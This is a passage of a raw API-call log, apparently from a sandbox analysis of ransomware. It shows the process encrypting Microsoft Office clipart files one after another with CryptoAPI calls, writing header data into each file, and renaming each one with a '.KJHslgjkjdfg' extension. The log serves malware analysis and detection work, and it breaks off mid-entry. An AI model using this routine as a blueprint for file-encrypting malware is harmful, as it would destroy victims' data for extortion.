[0200.549] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3700, dwBufLen=0x3700 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3700) returned 1 [0200.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.549] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3700, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3700, lpOverlapped=0x0) returned 1 [0200.549] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x37d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.550] SetEndOfFile (hFile=0x130) returned 1 [0200.552] GetProcessHeap () returned 0x990000 [0200.552] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.552] GetProcessHeap () returned 0x990000 [0200.552] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.kjhslgjkjdfg")) returned 1 [0200.554] CloseHandle (hObject=0x130) returned 1 [0200.554] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1 [0200.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.557] GetProcessHeap () returned 0x990000 [0200.557] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.557] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.557] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0200.559] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.559] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.559] GetProcessHeap () returned 0x990000 [0200.559] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.559] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.559] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.559] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.559] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.560] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.560] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.560] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.560] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.560] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.560] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x388a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x388a, lpOverlapped=0x0) returned 1 [0200.561] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3890, dwBufLen=0x3890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3890) returned 1 [0200.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.561] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3890, lpOverlapped=0x0) returned 1 [0200.562] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.562] SetEndOfFile (hFile=0x130) returned 1 [0200.564] GetProcessHeap () returned 0x990000 [0200.564] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.564] GetProcessHeap () returned 0x990000 [0200.564] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.kjhslgjkjdfg")) returned 1 [0200.566] CloseHandle (hObject=0x130) returned 1 [0200.566] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1 [0200.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.567] GetProcessHeap () returned 0x990000 [0200.567] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.567] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.568] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.568] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.568] GetProcessHeap () returned 0x990000 [0200.568] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.568] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.568] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.568] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.570] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.570] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.570] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.570] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.570] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2440, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2440, lpOverlapped=0x0) returned 1 [0200.571] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2440, dwBufLen=0x2440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2440) returned 1 [0200.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.571] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2440, lpOverlapped=0x0) returned 1 [0200.572] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.572] SetEndOfFile (hFile=0x130) returned 1 [0200.574] GetProcessHeap () returned 0x990000 [0200.574] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.574] GetProcessHeap () returned 0x990000 [0200.574] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.kjhslgjkjdfg")) returned 1 [0200.575] CloseHandle (hObject=0x130) returned 1 [0200.575] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1 [0200.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.577] GetProcessHeap () returned 0x990000 [0200.577] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.577] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.577] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.579] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.579] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.579] GetProcessHeap () returned 0x990000 [0200.579] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.579] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.579] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.579] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.579] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.580] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.580] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.580] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.580] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.580] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.580] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x795c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x795c, lpOverlapped=0x0) returned 1 [0200.581] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7960, dwBufLen=0x7960 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7960) returned 1 [0200.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.582] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7960, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7960, lpOverlapped=0x0) returned 1 [0200.582] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.582] SetEndOfFile (hFile=0x130) returned 1 [0200.585] GetProcessHeap () returned 0x990000 [0200.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.585] GetProcessHeap () returned 0x990000 [0200.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.kjhslgjkjdfg")) returned 1 [0200.587] CloseHandle (hObject=0x130) returned 1 [0200.587] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1 [0200.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.589] GetProcessHeap () returned 0x990000 [0200.589] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.589] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.589] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0200.591] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.592] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.592] GetProcessHeap () returned 0x990000 [0200.592] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.592] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.592] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.592] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.592] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.592] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.592] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.592] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.592] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.592] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.593] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x523e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x523e, lpOverlapped=0x0) returned 1 [0200.594] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5240, dwBufLen=0x5240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5240) returned 1 [0200.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.594] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5240, lpOverlapped=0x0) returned 1 [0200.595] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.595] SetEndOfFile (hFile=0x130) returned 1 [0200.597] GetProcessHeap () returned 0x990000 [0200.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.597] GetProcessHeap () returned 0x990000 [0200.598] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285782.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285782.wmf.kjhslgjkjdfg")) returned 1 [0200.599] CloseHandle (hObject=0x130) returned 1 [0200.599] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, 